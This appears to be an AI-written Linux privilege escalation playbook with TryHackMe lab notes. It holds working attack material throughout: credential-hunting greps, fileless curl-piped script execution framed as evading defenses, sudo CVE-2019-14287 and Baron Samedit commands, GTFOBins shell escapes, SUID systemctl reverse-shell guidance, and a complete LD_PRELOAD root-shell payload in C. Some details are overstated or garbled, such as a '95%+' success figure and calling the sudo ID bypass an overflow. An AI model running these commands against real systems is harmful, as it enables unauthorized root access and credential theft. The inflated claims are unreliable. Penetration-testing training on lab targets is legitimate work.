LINUX PRIVILEGE ESCALATION DEEP-DIVE PLAYBOOK

Authoritative Reference Engine & Daily Strategy Checklist

I. Advanced System-Wide Enumeration & Reconnaissance Strategy

1. System Environmental and Distribution Identification

Determining the precise kernel build compilation metadata is the foundational step. This surfaces vulnerabilities related to unpatched, architectural memory management flaws directly within ring-0 processing layers.

```
cat /etc/issue ; cat /etc/*-release ; uname -a ; bootctl status 2>/dev/null
```

- **Mechanistic Objective:** Compares internal platform architecture and exact kernel distribution releases against documented CVE public proof-of-concept repositories.
- **Operational Context:** Exploit vectors completely shift matching RHEL/CentOS variants vs Debian/Ubuntu variants because of divergent backported packaging security updates.

2. Deep Network Socket Auditing & Protocol Exposure Mapping

Compromised initial host vectors frequently expose hidden loopback microservices running natively as high-privilege context (root/system daemons) that are inaccessible via typical perimeter network port maps.

```
ss -antupv || netstat -antup ; cat /etc/services ; lsof -i -P -n 2>/dev/null
```

- **Exploitation Metric:** Pinpoints non-advertised loopback sockets (127.0.0.1) processing data streams. If a vulnerable HTTP service or database layer processes traffic internally as root, SSH remote-forwarding links can pipe attacks through internal channels directly.

3. User, Token, Group Hierarchy and Active Environment Analysis

User tracking demands cross-referencing specific group mappings, real ID allocations, and shell variable behaviors.

```
id ; whoami ; echo $PATH ; env ; cat /etc/passwd | cut -d: -f1,3,7 | grep -E 'sh$|bash$'
```

- **Key Elements:** Identify if the target context belongs to functional administration tiers like lxd, docker, disk, wheel, or sudo. For example, Docker membership permits mounting the entire root directory directly into a base container layer, immediately executing system breakouts.

4. Granular Cleartext Credential Scavenging & Regular Expression Filtering

Recursive system scanning requires restrictive exclusion patterns to filter out circular virtual structures (/proc, /sys) while isolating config arrays.

```
grep --color=auto -rnw '/' -ie "password" -ie "pass =" -ie "db_password" -ie "api_key"
--exclude-dir={proc,sys,dev,var/lib/docker,snap} 2>/dev/null
```

- **Target Vectors:** Look closely at database config environments (wp-config.php, config.json, .env) and plaintext shell logs (~/.bash_history, ~/.zsh_history). Users routinely write sensitive credentials inline during administrative logins.

II. Deployment Profiles for Automated Enumeration Scripts

Automated scanning tools execute large arrays of validation routines rapidly, but they must be deployed carefully into memory buffers to minimize defensive security tool tracking and log generation.

1. LinPEAS (Linux Privilege Escalation Awesome Script)

```
# In-memory execution using fileless curl pipelines:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Standard storage footprint deployment with standard output log filtering:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -O
/tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh -v > /tmp/lp.txt
```

- **Analysis Rule:** Focus exclusively on entries matching the **RED/YELLOW** format. This highlight represents a 95%+ historical probability vector for privilege takeover.

2. Linux Exploit Suggester

```
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-sugges
ter.sh -O /tmp/les.sh && bash /tmp/les.sh --kernel $(uname -r)
```

- **Mechanistic Focus:** Maps kernel patch tracking profiles directly to known historical payloads like Dirty COW (CVE-2016-5195) or Dirty Pipe (CVE-2022-0847). Use this option only if explicit misconfigurations in active binaries are not present.

III. Core Privilege Escalation Vectors & Misconfigurations

1. Advanced Sudo Bypass Frameworks & Shell Escaping Matrix

Sudo parameters tell the system which binaries a standard user can evaluate under a root environment without explicit security authorization passwords.

```
sudo -l
```

Target Profile: Sudo Version 1.8.21p2 Analysis

Based on target output parameters, this version contains high-severity structural vulnerabilities:

- **CVE-2019-14287 (Negative Sudo User ID Integer Flaw):** When a configuration explicitly allows running commands as any user *except* root (e.g., ALL=(ALL, !root) /bin/bash), the underlying authentication logic parsing mechanism can be tricked. Specifying an invalid user ID argument of -1 or its unsigned integer counterpart 4294967295 forces the program identity subsystem to default execution permissions directly to User ID 0 (root).

```
sudo -u#-1 /bin/bash
```

- **CVE-2021-3156 (Baron Samedit Heap Buffer Overflow):** This specific version version tier fails to sanitize backslash-escape characters properly when evaluating environment parameters via command flags like sudoedit -s. This allows attackers to corrupt critical memory segments and spawn an unauthenticated root shell.

```
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
```

- **GTFOBins Shell Escaping Routines:** If sudo -l shows generic standard utilities like find, less, vi, or awk configured with password-exempt execution parameters, security layers can be broken through using built-in binary functionality.

```
sudo find . -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
```

2. SUID/SGID Bit Interception and Execution Hijacking

Binaries with set-user-ID (SUID) permissions run with the active execution authority of the file creator rather than the user calling the command.

```
find / -perm -u=s -type f 2>/dev/null
```

- **Anomalous Evaluation:** Standard operating systems contain expected SUID frameworks (passwd, chsh). Focus on custom application binaries or critical administrative files left vulnerable like systemctl. If systemctl contains an SUID modifier, attackers can create and load an aggressive background service unit that executes an arbitrary reverse connection back to an engineering host under root privileges.

3. Shared Library Injections via Environment Manipulation (LD_PRELOAD)

If the env_keep administrative parameter explicitly tracks the LD_PRELOAD pointer variable within active sudo policies, you can intercept program execution flow.

Exploitation Phase Step 1: Write Custom C Hijack Payload (saved to /tmp/pe.c)

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/bash");
}
```

Exploitation Phase Step 2: Compile & Call Hijacked Environment

```
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
sudo LD_PRELOAD=/tmp/pe.so [ALLOWED_SUDO_BINARY]
```

IV. Actionable Lab Blueprints & Practice Environments

1. Vulnversity (TryHackMe Training Target)

- **Primary Vector Flow:** Web application compromise via arbitrary file upload path bypass mechanisms (extending tracking filters to allow .phtml payloads).
- **Escalation Routine:** Discover an anomalous SUID bit assigned systematically to /bin/systemctl. Exploit this by crafting a custom target system service unit that runs a bash reverse proxy shell connecting straight back to your netcat terminal setup.

2. Agent Sudo (TryHackMe Training Target)

- **Primary Vector Flow:** Initial operational foothold achieved through custom User-Agent enumeration configurations combined with structural credential brute forcing across target ports.
- **Escalation Routine:** This specific target mirrors the scenario from your provided screens. Run sudo -l to find the (ALL, !root) ALL exception policy, and use the sudo -u#-1 /bin/bash overflow configuration to instantly jump up to root access.